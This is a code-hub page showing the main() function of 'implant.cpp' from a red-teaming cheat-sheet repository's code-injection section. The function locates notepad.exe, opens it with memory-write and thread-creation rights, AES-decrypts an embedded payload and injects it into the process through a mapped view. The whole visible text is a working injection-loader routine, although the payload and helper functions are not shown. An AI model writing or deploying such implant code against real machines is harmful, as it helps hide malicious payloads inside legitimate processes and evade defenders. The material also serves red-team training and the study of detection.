MCPcopy Create free account
hub / github.com/0xJs/RedTeaming_CheatSheet / main

Function main

coding/projects/Code_Injection/MapView/implant.cpp:222–245  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

220
221
222int main(void) {
223
224 int pid = 0;
225 HANDLE hProc = NULL;
226
227 pid = FindTarget("notepad.exe");
228
229 if (pid) {
230 printf("Notepad.exe PID = %d\n", pid);
231
232 // try to open target process
233 hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
234 PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
235 FALSE, (DWORD) pid);
236
237 if (hProc != NULL) {
238 // Decrypt and inject payl
239 AESDecrypt((char *) payl, payl_len, (char *) key, sizeof(key));
240 InjectVIEW(hProc, payl, payl_len);
241 CloseHandle(hProc);
242 }
243 }
244 return 0;
245}

Callers

nothing calls this directly

Calls 3

FindTargetFunction · 0.70
AESDecryptFunction · 0.70
InjectVIEWFunction · 0.70

Tested by

no test coverage detected